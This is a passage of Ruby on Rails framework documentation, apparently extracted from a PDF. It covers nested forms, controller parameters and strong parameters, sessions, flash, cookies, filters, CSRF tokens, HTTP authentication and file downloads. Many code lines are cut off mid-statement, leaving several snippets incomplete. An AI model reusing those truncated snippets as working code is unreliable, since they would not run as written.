<%= form_for @invoice, url: external_url, authenticity_token: fa

Form contents
<% end %>

9 Building Complex Forms

Many apps grow beyond simple forms editing a single object. For
example, when creating a Person you might want to allow the user to (on
the same form) create multiple address records (home, work, etc.). When
later editing that person the user should be able to add, remove or amend
addresses as necessary.
9.1 Configuring the Model
Active Record provides model level support via the
accepts_nested_attributes_for method:
class Person < ApplicationRecord
has_many :addresses
accepts_nested_attributes_for :addresses
end
class Address < ApplicationRecord
belongs_to :person
end

This creates an addresses_attributes= method on Person that allows

you to create, update and (optionally) destroy addresses.
9.2 Nested Forms
The following form allows a user to create a Person and its associated
addresses.
<%= form_for @person do |f| %>
Addresses:
<ul>
<%= f.fields_for :addresses do |addresses_form| %>
<li>
<%= addresses_form.label :kind %>

<%= addresses_form.text_field :kind %>

<%= addresses_form.label :street %>
<%= addresses_form.text_field :street %>
...
</li>
<% end %>
</ul>
<% end %>

When an association accepts nested attributes fields_for renders its

block once for every element of the association. In particular, if a person
has no addresses it renders nothing. A common pattern is for the controller
to build one or more empty children so that at least one set of fields is
shown to the user. The example below would result in 2 sets of address
fields being rendered on the new person form.
def new
@person = Person.new
2.times { @person.addresses.build}
end

The fields_for yields a form builder. The parameters' name will be what
accepts_nested_attributes_for expects. For example, when creating a
user with 2 addresses, the submitted parameters would look like:
{
'person' => {
'name' => 'John Doe',
'addresses_attributes' => {
'0' => {
'kind' => 'Home',
'street' => '221b Baker Street'
},
'1' => {
'kind' => 'Office',
'street' => '31 Spooner Street'
}

}
}
}

The keys of the :addresses_attributes hash are unimportant, they need

merely be different for each address.
If the associated object is already saved, fields_for autogenerates a
hidden input with the id of the saved record. You can disable this by
passing include_id: false to fields_for. You may wish to do this if
the autogenerated input is placed in a location where an input tag is not
valid HTML or when using an ORM where children do not have an id.
9.3 The Controller
As usual you need to whitelist the parameters in the controller before you
pass them to the model:
def create
@person = Person.new(person_params)
# ...
end

private
def person_params
params.require(:person).permit(:name, addresses_attributes:
end

9.4 Removing Objects

You can allow users to delete associated objects by passing
allow_destroy: true to accepts_nested_attributes_for
class Person < ApplicationRecord
has_many :addresses
accepts_nested_attributes_for :addresses, allow_destroy: true

end

If the hash of attributes for an object contains the key _destroy with a
value of 1 or true then the object will be destroyed. This form allows
users to remove addresses:
<%= form_for @person do |f| %>
Addresses:
<ul>
<%= f.fields_for :addresses do |addresses_form| %>
<li>
<%= addresses_form.check_box :_destroy%>
<%= addresses_form.label :kind %>
<%= addresses_form.text_field :kind %>
...
</li>
<% end %>
</ul>
<% end %>

Don't forget to update the whitelisted params in your controller to also

include the _destroy field:

def person_params
params.require(:person).
permit(:name, addresses_attributes: [:id, :kind, :street, :_
end

9.5 Preventing Empty Records

It is often useful to ignore sets of fields that the user has not filled in. You
can control this by passing a :reject_if proc to
accepts_nested_attributes_for. This proc will be called with each hash
of attributes submitted by the form. If the proc returns false then Active
Record will not build an associated object for that hash. The example
below only tries to build an address if the kind attribute is set.

class Person < ApplicationRecord

has_many :addresses
accepts_nested_attributes_for :addresses, reject_if: lambda {|
end

As a convenience you can instead pass the symbol :all_blank which will
create a proc that will reject records where all the attributes are blank
excluding any value for _destroy.
9.6 Adding Fields on the Fly
Rather than rendering multiple sets of fields ahead of time you may wish
to add them only when a user clicks on an 'Add new address' button. Rails
does not provide any built-in support for this. When generating new sets of
fields you must ensure the key of the associated array is unique - the
current JavaScript date (milliseconds after the epoch) is a common choice.

Action Controller Overview

Ruby on...

1 What Does a Controller Do?

Action Controller is the C in MVC. After routing has determined which
controller to use for a request, the controller is responsible for making
sense of the request and producing the appropriate output. Luckily, Action
Controller does most of the groundwork for you and uses smart
conventions to make this as straightforward as possible.
For most conventional RESTful applications, the controller will receive
the request (this is invisible to you as the developer), fetch or save data
from a model and use a view to create HTML output. If your controller
needs to do things a little differently, that's not a problem, this is just the
most common way for a controller to work.
A controller can thus be thought of as a middleman between models and
views. It makes the model data available to the view so it can display that
data to the user, and it saves or updates user data to the model.
For more details on the routing process, see Rails Routing from the
Outside In.

2 Controller Naming Convention

The naming convention of controllers in Rails favors pluralization of the
last word in the controller's name, although it is not strictly required (e.g.
ApplicationController). For example, ClientsController is preferable
to ClientController, SiteAdminsController is preferable to
SiteAdminController or SitesAdminsController, and so on.
Following this convention will allow you to use the default route
generators (e.g. resources, etc) without needing to qualify each :path or
:controller, and will keep URL and path helpers' usage consistent
throughout your application. See Layouts & Rendering Guide for more
details.
The controller naming convention differs from the naming convention of
models, which are expected to be named in singular form.

3 Methods and Actions

A controller is a Ruby class which inherits from ApplicationController
and has methods just like any other class. When your application receives
a request, the routing will determine which controller and action to run,
then Rails creates an instance of that controller and runs the method with
the same name as the action.
class ClientsController < ApplicationController
def new
end
end

As an example, if a user goes to /clients/new in your application to add a

new client, Rails will create an instance of ClientsController and call its
new method. Note that the empty method from the example above would
work just fine because Rails will by default render the new.html.erb view
unless the action says otherwise. The new method could make available to
the view a @client instance variable by creating a new Client:
def new
@client = Client.new
end

The Layouts & Rendering Guide explains this in more detail.

ApplicationController inherits from ActionController::Base, which

defines a number of helpful methods. This guide will cover some of these,
but if you're curious to see what's in there, you can see all of them in the
API documentation or in the source itself.
Only public methods are callable as actions. It is a best practice to lower
the visibility of methods (with private or protected) which are not
intended to be actions, like auxiliary methods or filters.

4 Parameters
You will probably want to access data sent in by the user or other
parameters in your controller actions. There are two kinds of parameters
possible in a web application. The first are parameters that are sent as part
of the URL, called query string parameters. The query string is everything
after "?" in the URL. The second type of parameter is usually referred to as
POST data. This information usually comes from an HTML form which
has been filled in by the user. It's called POST data because it can only be
sent as part of an HTTP POST request. Rails does not make any distinction
between query string parameters and POST parameters, and both are
available in the params hash in your controller:

class ClientsController < ApplicationController

# This action uses query string parameters because it gets run
# by an HTTP GET request, but this does not make any differenc
# to the way in which the parameters are accessed. The URL for
# this action would look like this in order to list activated
# clients: /clients?status=activated
def index
if params[:status] == "activated"
@clients = Client.activated
else
@clients = Client.inactivated
end
end

# This action uses POST parameters. They are most likely comin
# from an HTML form which the user has submitted. The URL for
# this RESTful request will be "/clients", and the data will b
# sent as part of the request body.
def create
@client = Client.new(params[:client])
if @client.save
redirect_to @client
else
# This line overrides the default rendering behavior, whic
# would have been to render the "create" view.
render "new"

end
end
end

4.1 Hash and Array Parameters

The params hash is not limited to one-dimensional keys and values. It can
contain nested arrays and hashes. To send an array of values, append an
empty pair of square brackets "[]" to the key name:
GET /clients?ids[]=1&ids[]=2&ids[]=3

The actual URL in this example will be encoded as "/clients?

ids%5b%5d=1&ids%5b%5d=2&ids%5b%5d=3" as the "[" and "]"
characters are not allowed in URLs. Most of the time you don't have to
worry about this because the browser will encode it for you, and Rails will
decode it automatically, but if you ever find yourself having to send those
requests to the server manually you should keep this in mind.
The value of params[:ids] will now be ["1", "2", "3"]. Note that
parameter values are always strings; Rails makes no attempt to guess or
cast the type.
Values such as [nil] or [nil, nil, ...] in params are replaced with []
for security reasons by default. See Security Guide for more information.
To send a hash, you include the key name inside the brackets:

<form accept-charset="UTF-8" action="/clients" method="post">

When this form is submitted, the value of params[:client] will be {

"name" => "Acme", "phone" => "12345", "address" => {
"postcode" => "12345", "city" => "Carrot City" } }. Note the
nested hash in params[:client][:address].

The params object acts like a Hash, but lets you use symbols and strings
interchangeably as keys.
4.2 JSON parameters
If you're writing a web service application, you might find yourself more
comfortable accepting parameters in JSON format. If the "Content-Type"
header of your request is set to "application/json", Rails will automatically
load your parameters into the params hash, which you can access as you
would normally.
So for example, if you are sending this JSON content:

{ "company": { "name": "acme", "address": "123 Carrot Street" }

Your controller will receive params[:company] as { "name" => "acme",

"address" => "123 Carrot Street" }.
Also, if you've turned on config.wrap_parameters in your initializer or
called wrap_parameters in your controller, you can safely omit the root
element in the JSON parameter. In this case, the parameters will be cloned
and wrapped with a key chosen based on your controller's name. So the
above JSON POST can be written as:
{ "name": "acme", "address": "123 Carrot Street" }

And, assuming that you're sending the data to CompaniesController, it

would then be wrapped within the :company key like this:

{ name: "acme", address: "123 Carrot Street", company: { name: "

You can customize the name of the key or specific parameters you want to
wrap by consulting the API documentation
Support for parsing XML parameters has been extracted into a gem named
actionpack-xml_parser.
4.3 Routing Parameters
The params hash will always contain the :controller and :action keys,
but you should use the methods controller_name and action_name
instead to access these values. Any other parameters defined by the
routing, such as :id, will also be available. As an example, consider a
listing of clients where the list can show either active or inactive clients.
We can add a route which captures the :status parameter in a "pretty"
URL:
get '/clients/:status' => 'clients#index', foo: 'bar'

In this case, when a user opens the URL /clients/active,

params[:status] will be set to "active". When this route is used,
params[:foo] will also be set to "bar", as if it were passed in the query
string. Your controller will also receive params[:action] as "index" and
params[:controller] as "clients".
4.4 default_url_options
You can set global default parameters for URL generation by defining a
method called default_url_options in your controller. Such a method
must return a hash with the desired defaults, whose keys must be symbols:
class ApplicationController < ActionController::Base

def default_url_options
{ locale: I18n.locale }
end
end

These options will be used as a starting point when generating URLs, so

it's possible they'll be overridden by the options passed to url_for calls.
If you define default_url_options in ApplicationController, as in the
example above, these defaults will be used for all URL generation. The
method can also be defined in a specific controller, in which case it only
affects URLs generated there.
In a given request, the method is not actually called for every single
generated URL; for performance reasons, the returned hash is cached,
there is at most one invocation per request.
4.5 Strong Parameters
With strong parameters, Action Controller parameters are forbidden to be
used in Active Model mass assignments until they have been whitelisted.
This means that you'll have to make a conscious decision about which
attributes to allow for mass update. This is a better security practice to help
prevent accidentally allowing users to update sensitive model attributes.
In addition, parameters can be marked as required and will flow through a
predefined raise/rescue flow to end up as a 400 Bad Request.

class PeopleController < ActionController::Base

# This will raise an ActiveModel::ForbiddenAttributes exceptio
# because it's using mass assignment without an explicit permi
# step.
def create
Person.create(params[:person])
end

# This will pass with flying colors as long as there's a perso

# in the parameters, otherwise it'll raise a
# ActionController::ParameterMissing exception, which will get
# caught by ActionController::Base and turned into that 400 Ba
# Request reply.
def update
person = current_account.people.find(params[:id])
person.update!(person_params)
redirect_to person
end

private
# Using a private method to encapsulate the permissible para
# is just a good pattern since you'll be able to reuse the s
# permit list between create and update. Also, you can speci
# this method with per-user checking of permissible attribut
def person_params
params.require(:person).permit(:name, :age)
end
end
4.5.1 Permitted Scalar Values

Given
params.permit(:id)

the key :id will pass the whitelisting if it appears in params and it has a
permitted scalar value associated. Otherwise, the key is going to be filtered
out, so arrays, hashes, or any other objects cannot be injected.
The permitted scalar types are String, Symbol, NilClass, Numeric,
TrueClass, FalseClass, Date, Time, DateTime, StringIO, IO,
ActionDispatch::Http::UploadedFile, and
Rack::Test::UploadedFile.
To declare that the value in params must be an array of permitted scalar

values, map the key to an empty array:

params.permit(id: [])

To whitelist an entire hash of parameters, the permit! method can be used:

params.require(:log_entry).permit!

This will mark the :log_entry parameters hash and any sub-hash of it as
permitted. Extreme care should be taken when using permit!, as it will
allow all current and future model attributes to be mass-assigned.
4.5.2 Nested Parameters

You can also use permit on nested parameters, like:

params.permit(:name, { emails: [] },
friends: [ :name,
{ family: [ :name ], hobbies: [] }])

This declaration whitelists the name, emails, and friends attributes. It is

expected that emails will be an array of permitted scalar values, and that
friends will be an array of resources with specific attributes: they should
have a name attribute (any permitted scalar values allowed), a hobbies
attribute as an array of permitted scalar values, and a family attribute
which is restricted to having a name (any permitted scalar values allowed
here, too).
4.5.3 More Examples

You may want to also use the permitted attributes in your new action. This
raises the problem that you can't use require on the root key because,
normally, it does not exist when calling new:

# using `fetch` you can supply a default and use

# the Strong Parameters API from there.
params.fetch(:blog, {}).permit(:title, :author)

The model class method accepts_nested_attributes_for allows you to

update and destroy associated records. This is based on the id and
_destroy parameters:

# permit :id and :_destroy

params.require(:author).permit(:name, books_attributes: [:title,

Hashes with integer keys are treated differently, and you can declare the
attributes as if they were direct children. You get these kinds of parameters
when you use accepts_nested_attributes_for in combination with a
has_many association:

# To whitelist the following data:

# {"book" => {"title" => "Some Book",
# "chapters_attributes" => { "1" => {"title" => "Fir
# "2" => {"title" => "Sec

params.require(:book).permit(:title, chapters_attributes: [:titl

4.5.4 Outside the Scope of Strong Parameters

The strong parameter API was designed with the most common use cases
in mind. It is not meant as a silver bullet to handle all of your whitelisting
problems. However, you can easily mix the API with your own code to
adapt to your situation.
Imagine a scenario where you have parameters representing a product
name and a hash of arbitrary data associated with that product, and you
want to whitelist the product name attribute and also the whole data hash.
The strong parameters API doesn't let you directly whitelist the whole of a
nested hash with any keys, but you can use the keys of your nested hash to

declare what to whitelist:

def product_params
params.require(:product).permit(:name, data: params[:product][
end

5 Session
Your application has a session for each user in which you can store small
amounts of data that will be persisted between requests. The session is
only available in the controller and the view and can use one of a number
of different storage mechanisms:
ActionDispatch::Session::CookieStore - Stores everything on the

client.
ActionDispatch::Session::CacheStore - Stores the data in the

Rails cache.
ActionDispatch::Session::ActiveRecordStore - Stores the data in
a database using Active Record. (require activerecordsession_store gem).
ActionDispatch::Session::MemCacheStore - Stores the data in a

memcached cluster (this is a legacy implementation; consider using

CacheStore instead).
All session stores use a cookie to store a unique ID for each session (you
must use a cookie, Rails will not allow you to pass the session ID in the
URL as this is less secure).
For most stores, this ID is used to look up the session data on the server,
e.g. in a database table. There is one exception, and that is the default and
recommended session store - the CookieStore - which stores all session
data in the cookie itself (the ID is still available to you if you need it). This
has the advantage of being very lightweight and it requires zero setup in a
new application in order to use the session. The cookie data is
cryptographically signed to make it tamper-proof. And it is also encrypted
so anyone with access to it can't read its contents. (Rails will not accept it
if it has been edited).
The CookieStore can store around 4kB of data - much less than the others but this is usually enough. Storing large amounts of data in the session is

discouraged no matter which session store your application uses. You

should especially avoid storing complex objects (anything other than basic
Ruby objects, the most common example being model instances) in the
session, as the server might not be able to reassemble them between
requests, which will result in an error.
If your user sessions don't store critical data or don't need to be around for
long periods (for instance if you just use the flash for messaging), you can
consider using ActionDispatch::Session::CacheStore. This will store
sessions using the cache implementation you have configured for your
application. The advantage of this is that you can use your existing cache
infrastructure for storing sessions without requiring any additional setup or
administration. The downside, of course, is that the sessions will be
ephemeral and could disappear at any time.
Read more about session storage in the Security Guide.
If you need a different session storage mechanism, you can change it in the
config/initializers/session_store.rb file:

# Use the database for sessions instead of the cookie-based defa

# which shouldn't be used to store highly confidential informati
# (create the session table with "rails g active_record:session_
# Rails.application.config.session_store :active_record_store

Rails sets up a session key (the name of the cookie) when signing the
session data. These can also be changed in
config/initializers/session_store.rb:

# Be sure to restart your server when you modify this file.

Rails.application.config.session_store :cookie_store, key: '_you

You can also pass a :domain key and specify the domain name for the
cookie:

# Be sure to restart your server when you modify this file.

Rails.application.config.session_store :cookie_store, key: '_you

Rails sets up (for the CookieStore) a secret key used for signing the
session data. This can be changed in config/secrets.yml
# Be sure to restart your server when you modify this file.

# Your secret key is used for verifying the integrity of signed

# If you change this key, all old signed cookies will become inv

# Make sure the secret is at least 30 characters and all random,

# no regular words or you'll be exposed to dictionary attacks.
# You can use `rails secret` to generate a secure secret key.
# Make sure the secrets in this file are kept private
# if you're sharing your code publicly.
development:
secret_key_base: a75d...
test:
secret_key_base: 492f...
# Do not keep production secrets in the repository,
# instead read values from the environment.
production:
secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>

Changing the secret when using the CookieStore will invalidate all
existing sessions.
5.1 Accessing the Session
In your controller you can access the session through the session instance
method.
Sessions are lazily loaded. If you don't access sessions in your action's

code, they will not be loaded. Hence you will never need to disable
sessions, just not accessing them will do the job.
Session values are stored using key/value pairs like a hash:
class ApplicationController < ActionController::Base
private

# Finds the User with the ID stored in the session with the ke
# :current_user_id This is a common way to handle user login i
# a Rails application; logging in sets the session value and
# logging out removes it.
def current_user
@_current_user ||= session[:current_user_id] &&
User.find_by(id: session[:current_user_id])
end
end

To store something in the session, just assign it to the key like a hash:

class LoginsController < ApplicationController

# "Create" a login, aka "log the user in"
def create
if user = User.authenticate(params[:username], params[:passw
# Save the user ID in the session so it can be used in
# subsequent requests
session[:current_user_id] = user.id
redirect_to root_url
end
end
end

To remove something from the session, assign that key to be nil:

class LoginsController < ApplicationController
# "Delete" a login, aka "log the user out"
def destroy
# Remove the user id from the session

@_current_user = session[:current_user_id] = nil

redirect_to root_url
end
end

To reset the entire session, use reset_session.

5.2 The Flash
The flash is a special part of the session which is cleared with each
request. This means that values stored there will only be available in the
next request, which is useful for passing error messages etc.
It is accessed in much the same way as the session, as a hash (it's a
FlashHash instance).
Let's use the act of logging out as an example. The controller can send a
message which will be displayed to the user on the next request:
class LoginsController < ApplicationController
def destroy
session[:current_user_id] = nil
flash[:notice] = "You have successfully logged out."
redirect_to root_url
end
end

Note that it is also possible to assign a flash message as part of the

redirection. You can assign :notice, :alert or the general purpose
:flash:

redirect_to root_url, notice: "You have successfully logged out.

redirect_to root_url, alert: "You're stuck here!"
redirect_to root_url, flash: { referral_code: 1234 }

The destroy action redirects to the application's root_url, where the

message will be displayed. Note that it's entirely up to the next action to
decide what, if anything, it will do with what the previous action put in the
flash. It's conventional to display any error alerts or notices from the flash
in the application's layout:
<html>

<body>
<% flash.each do |name, msg| -%>
<%= content_tag :div, msg, class: name %>
<% end -%>

</body>
</html>

This way, if an action sets a notice or an alert message, the layout will
display it automatically.
You can pass anything that the session can store; you're not limited to
notices and alerts:
<% if flash[:just_signed_up] %>
<p class="welcome">Welcome to our site!</p>
<% end %>

If you want a flash value to be carried over to another request, use the keep
method:

class MainController < ApplicationController

# Let's say this action corresponds to root_url, but you want
# all requests here to be redirected to UsersController#index.
# If an action sets the flash and redirects here, the values
# would normally be lost when another redirect happens, but yo
# can use 'keep' to make it persist for another request.
def index

# Will persist all flash values.

flash.keep
# You can also use a key to keep only some kind of value.
# flash.keep(:notice)
redirect_to users_url
end
end
5.2.1 flash.now

By default, adding values to the flash will make them available to the next
request, but sometimes you may want to access those values in the same
request. For example, if the create action fails to save a resource and you
render the new template directly, that's not going to result in a new request,
but you may still want to display a message using the flash. To do this, you
can use flash.now in the same way you use the normal flash:
class ClientsController < ApplicationController
def create
@client = Client.new(params[:client])
if @client.save
# ...
else
flash.now[:error] = "Could not save client"
render action: "new"
end
end
end

6 Cookies
Your application can store small amounts of data on the client - called
cookies - that will be persisted across requests and even sessions. Rails
provides easy access to cookies via the cookies method, which - much
like the session - works like a hash:

class CommentsController < ApplicationController

def new
# Auto-fill the commenter's name if it has been stored in a
@comment = Comment.new(author: cookies[:commenter_name])
end

def create
@comment = Comment.new(params[:comment])
if @comment.save
flash[:notice] = "Thanks for your comment!"
if params[:remember_name]
# Remember the commenter's name.
cookies[:commenter_name] = @comment.author
else
# Delete cookie for the commenter's name cookie, if any.
cookies.delete(:commenter_name)
end
redirect_to @comment.article
else
render action: "new"
end
end
end

Note that while for session values you set the key to nil, to delete a cookie
value you should use cookies.delete(:key).
Rails also provides a signed cookie jar and an encrypted cookie jar for
storing sensitive data. The signed cookie jar appends a cryptographic
signature on the cookie values to protect their integrity. The encrypted
cookie jar encrypts the values in addition to signing them, so that they

cannot be read by the end user. Refer to the API documentation for more
details.
These special cookie jars use a serializer to serialize the assigned values
into strings and deserializes them into Ruby objects on read.
You can specify what serializer to use:

Rails.application.config.action_dispatch.cookies_serializer = :j

The default serializer for new applications is :json. For compatibility with
old applications with existing cookies, :marshal is used when serializer
option is not specified.
You may also set this option to :hybrid, in which case Rails would
transparently deserialize existing (Marshal-serialized) cookies on read and
re-write them in the JSON format. This is useful for migrating existing
applications to the :json serializer.
It is also possible to pass a custom serializer that responds to load and
dump:

Rails.application.config.action_dispatch.cookies_serializer = My

When using the :json or :hybrid serializer, you should beware that not
all Ruby objects can be serialized as JSON. For example, Date and Time
objects will be serialized as strings, and Hashes will have their keys
stringified.

class CookiesController < ApplicationController

def set_cookie
cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu
redirect_to action: 'read_cookie'
end

def read_cookie
cookies.encrypted[:expiration_date] # => "2014-03-20"
end
end

It's advisable that you only store simple data (strings and numbers) in
cookies. If you have to store complex objects, you would need to handle
the conversion manually when reading the values on subsequent requests.
If you use the cookie session store, this would apply to the session and
flash hash as well.

7 Rendering XML and JSON data

ActionController makes it extremely easy to render XML or JSON data. If
you've generated a controller using scaffolding, it would look something
like this:
class UsersController < ApplicationController
def index
@users = User.all
respond_to do |format|
format.html # index.html.erb
format.xml { render xml: @users}
format.json { render json: @users}
end
end
end

You may notice in the above code that we're using render xml: @users,
not render xml: @users.to_xml. If the object is not a String, then Rails
will automatically invoke to_xml for us.

8 Filters
Filters are methods that are run "before", "after" or "around" a controller
action.
Filters are inherited, so if you set a filter on ApplicationController, it
will be run on every controller in your application.
"before" filters may halt the request cycle. A common "before" filter is one
which requires that a user is logged in for an action to be run. You can
define the filter method this way:
class ApplicationController < ActionController::Base
before_action :require_login
private

def require_login
unless logged_in?
flash[:error] = "You must be logged in to access this sect
redirect_to new_login_url # halts request cycle
end
end
end

The method simply stores an error message in the flash and redirects to the
login form if the user is not logged in. If a "before" filter renders or
redirects, the action will not run. If there are additional filters scheduled to
run after that filter, they are also cancelled.
In this example the filter is added to ApplicationController and thus all
controllers in the application inherit it. This will make everything in the
application require the user to be logged in in order to use it. For obvious
reasons (the user wouldn't be able to log in in the first place!), not all
controllers or actions should require this. You can prevent this filter from
running before particular actions with skip_before_action:

class LoginsController < ApplicationController

skip_before_action :require_login, only: [:new, :create]
end

Now, the LoginsController's new and create actions will work as before
without requiring the user to be logged in. The :only option is used to skip
this filter only for these actions, and there is also an :except option which
works the other way. These options can be used when adding filters too, so
you can add a filter which only runs for selected actions in the first place.
8.1 After Filters and Around Filters
In addition to "before" filters, you can also run filters after an action has
been executed, or both before and after.
"after" filters are similar to "before" filters, but because the action has
already been run they have access to the response data that's about to be
sent to the client. Obviously, "after" filters cannot stop the action from
running.
"around" filters are responsible for running their associated actions by
yielding, similar to how Rack middlewares work.
For example, in a website where changes have an approval workflow an
administrator could be able to preview them easily, just apply them within
a transaction:
class ChangesController < ApplicationController
around_action :wrap_in_transaction, only: :show
private
def wrap_in_transaction
ActiveRecord::Base.transaction do
begin
yield

ensure
raise ActiveRecord::Rollback
end
end
end
end

Note that an "around" filter also wraps rendering. In particular, if in the

example above, the view itself reads from the database (e.g. via a scope), it
will do so within the transaction and thus present the data to preview.
You can choose not to yield and build the response yourself, in which case
the action will not be run.
8.2 Other Ways to Use Filters
While the most common way to use filters is by creating private methods
and using *_action to add them, there are two other ways to do the same
thing.
The first is to use a block directly with the *_action methods. The block
receives the controller as an argument. The require_login filter from
above could be rewritten to use a block:

class ApplicationController < ActionController::Base

before_action do |controller|
unless controller.send(:logged_in?)
flash[:error] = "You must be logged in to access this sect
redirect_to new_login_url
end
end
end

Note that the filter in this case uses send because the logged_in? method
is private and the filter does not run in the scope of the controller. This is
not the recommended way to implement this particular filter, but in more

simple cases it might be useful.

The second way is to use a class (actually, any object that responds to the
right methods will do) to handle the filtering. This is useful in cases that
are more complex and cannot be implemented in a readable and reusable
way using the two other methods. As an example, you could rewrite the
login filter again to use a class:
class ApplicationController < ActionController::Base
before_action LoginFilter
end

class LoginFilter
def self.before(controller)
unless controller.send(:logged_in?)
controller.flash[:error] = "You must be logged in to acces
controller.redirect_to controller.new_login_url
end
end
end

Again, this is not an ideal example for this filter, because it's not run in the
scope of the controller but gets the controller passed as an argument. The
filter class must implement a method with the same name as the filter, so
for the before_action filter the class must implement a before method,
and so on. The around method must yield to execute the action.

9 Request Forgery Protection

Cross-site request forgery is a type of attack in which a site tricks a user
into making requests on another site, possibly adding, modifying or
deleting data on that site without the user's knowledge or permission.
The first step to avoid this is to make sure all "destructive" actions (create,
update and destroy) can only be accessed with non-GET requests. If you're
following RESTful conventions you're already doing this. However, a
malicious site can still send a non-GET request to your site quite easily,
and that's where the request forgery protection comes in. As the name
says, it protects from forged requests.
The way this is done is to add a non-guessable token which is only known
to your server to each request. This way, if a request comes in without the
proper token, it will be denied access.
If you generate a form like this:
<%= form_for @user do |f| %>
<%= f.text_field :username %>
<%= f.text_field :password %>
<% end %>

You will see how the token gets added as a hidden field:
<form accept-charset="UTF-8" action="/users/1" method="post">
<input type="hidden"
value="67250ab105eb5ad10851c00a5621854a23af5489"
name="authenticity_token"/>

</form>

Rails adds this token to every form that's generated using the form helpers,
so most of the time you don't have to worry about it. If you're writing a

form manually or need to add the token for another reason, it's available
through the method form_authenticity_token:
The form_authenticity_token generates a valid authentication token.
That's useful in places where Rails does not add it automatically, like in
custom Ajax calls.
The Security Guide has more about this and a lot of other security-related
issues that you should be aware of when developing a web application.

10 The Request and Response Objects

In every controller there are two accessor methods pointing to the request
and the response objects associated with the request cycle that is currently
in execution. The request method contains an instance of
ActionDispatch::Request and the response method returns a response
object representing what is going to be sent back to the client.
10.1 The request Object
The request object contains a lot of useful information about the request
coming in from the client. To get a full list of the available methods, refer
to the API documentation. Among the properties that you can access on
this object are:
Property of request
Purpose
host
The hostname used for this request.
The hostname's first n segments, starting from
domain(n=2)
the right (the TLD).
format
The content type requested by the client.
method
The HTTP method used for the request.
get?, post?, patch?,
Returns true if the HTTP method is
put?, delete?, head?
GET/POST/PATCH/PUT/DELETE/HEAD.
Returns a hash containing the headers associated
headers
with the request.
port
The port number (integer) used for the request.
Returns a string containing the protocol used plus
protocol
"://", for example "http://".
The query string part of the URL, i.e., everything
query_string
after "?".
remote_ip
The IP address of the client.

url

The entire URL used for the request.

10.1.1 path_parameters, query_parameters, and request_parameters

Rails collects all of the parameters sent along with the request in the
params hash, whether they are sent as part of the query string or the post
body. The request object has three accessors that give you access to these
parameters depending on where they came from. The query_parameters
hash contains parameters that were sent as part of the query string while
the request_parameters hash contains parameters sent as part of the post
body. The path_parameters hash contains parameters that were
recognized by the routing as being part of the path leading to this
particular controller and action.
10.2 The response Object
The response object is not usually used directly, but is built up during the
execution of the action and rendering of the data that is being sent back to
the user, but sometimes - like in an after filter - it can be useful to access
the response directly. Some of these accessor methods also have setters,
allowing you to change their values.
Property of
response

Purpose

This is the string of data being sent back to the client. This
is most often HTML.
The HTTP status code for the response, like 200 for a
status
successful request or 404 for file not found.
location
The URL the client is being redirected to, if any.
content_type The content type of the response.
The character set being used for the response. Default is
charset
"utf-8".
headers
Headers used for the response.
body

10.2.1 Setting Custom Headers

If you want to set custom headers for a response then response.headers

is the place to do it. The headers attribute is a hash which maps header
names to their values, and Rails will set some of them automatically. If
you want to add or change a header, just assign it to response.headers
this way:
response.headers["Content-Type"] = "application/pdf"

Note: in the above case it would make more sense to use the
content_type setter directly.

11 HTTP Authentications
Rails comes with two built-in HTTP authentication mechanisms:
Basic Authentication
Digest Authentication
11.1 HTTP Basic Authentication
HTTP basic authentication is an authentication scheme that is supported by
the majority of browsers and other HTTP clients. As an example, consider
an administration section which will only be available by entering a
username and a password into the browser's HTTP basic dialog window.
Using the built-in authentication is quite easy and only requires you to use
one method, http_basic_authenticate_with.

class AdminsController < ApplicationController

http_basic_authenticate_with name: "humbaba", password: "5baa6
end

With this in place, you can create namespaced controllers that inherit from
AdminsController. The filter will thus be run for all actions in those
controllers, protecting them with HTTP basic authentication.
11.2 HTTP Digest Authentication
HTTP digest authentication is superior to the basic authentication as it
does not require the client to send an unencrypted password over the
network (though HTTP basic authentication is safe over HTTPS). Using
digest authentication with Rails is quite easy and only requires using one
method, authenticate_or_request_with_http_digest.
class AdminsController < ApplicationController
USERS = { "lifo" => "world" }

before_action :authenticate
private
def authenticate
authenticate_or_request_with_http_digest do |username|
USERS[username]
end
end
end

As seen in the example above, the

authenticate_or_request_with_http_digest block takes only one

argument - the username. And the block returns the password. Returning
false or nil from the authenticate_or_request_with_http_digest will
cause authentication failure.

12 Streaming and File Downloads

Sometimes you may want to send a file to the user instead of rendering an
HTML page. All controllers in Rails have the send_data and the
send_file methods, which will both stream data to the client. send_file
is a convenience method that lets you provide the name of a file on the
disk and it will stream the contents of that file for you.
To stream data to the client, use send_data:
require "prawn"
class ClientsController < ApplicationController
# Generates a PDF document with information on the client and
# returns it. The user will get the PDF as a file download.
def download_pdf
client = Client.find(params[:id])
send_data generate_pdf(client),
filename: "#{client.name}.pdf",
type: "application/pdf"
end
private
def generate_pdf(client)
Prawn::Document.new do
text client.name, align: :center
text "Address: #{client.address}"
text "Email: #{client.email}"
end.render
end
end

The download_pdf action in the example above will call a private method
which actually generates the PDF document and returns it as a string. This
string will then be streamed to the client as a file download and a filename
will be suggested to the user. Sometimes when streaming files to the user,
you may not want them to download the file. Take images, for example,
which can be embedded into HTML pages. To tell the browser a file is not

meant to be downloaded, you can set the :disposition option to "inline".

The opposite and default value for this option is "attachment".
12.1 Sending Files
If you want to send a file that already exists on disk, use the send_file
method.

class ClientsController < ApplicationController

# Stream a file that has already been generated and stored on
def download_pdf
client = Client.find(params[:id])
send_file("#{Rails.root}/files/clients/#{client.id}.pdf",
filename: "#{client.name}.pdf",
type: "application/pdf")
end
end

This will read and stream the file 4kB at the time, avoiding loading the
entire file into memory at once. You can turn off streaming with the
:stream option or adjust the block size with the :buffer_size option.
If :type is not specified, it will be guessed from the file extension
specified in :filename. If the content type is not registered for the
extension, application/octet-stream will be used.
Be careful when using data coming from the client (params, cookies, etc.)
to locate the file on disk, as this is a security risk that might allow someone
to gain access to files they are not meant to.
It is not recommended that you stream static files through Rails if you can
instead keep them in a public folder on your web server. It is much more
efficient to let the user download the file directly using Apache or another
web server, keeping the request from unnecessarily going through the
whole Rails stack.

12.2 RESTful Downloads

While send_data works just fine, if you are creating a RESTful
application having separate actions for file downloads is usually not
necessary. In REST terminology, the PDF file from the example above can
be considered just another representation of the client resource. Rails
provides an easy and quite sleek way of doing "RESTful downloads".
Here's how you can rewrite the example so that the PDF download is a
part of the show action, without any streaming:

class ClientsController < ApplicationController

# The user can request to receive this resource as HTML or PDF
def show
@client = Client.find(params[:id])
respond_to do |format|
format.html
format.pdf { render pdf: generate_pdf(@client) }
end
end
end

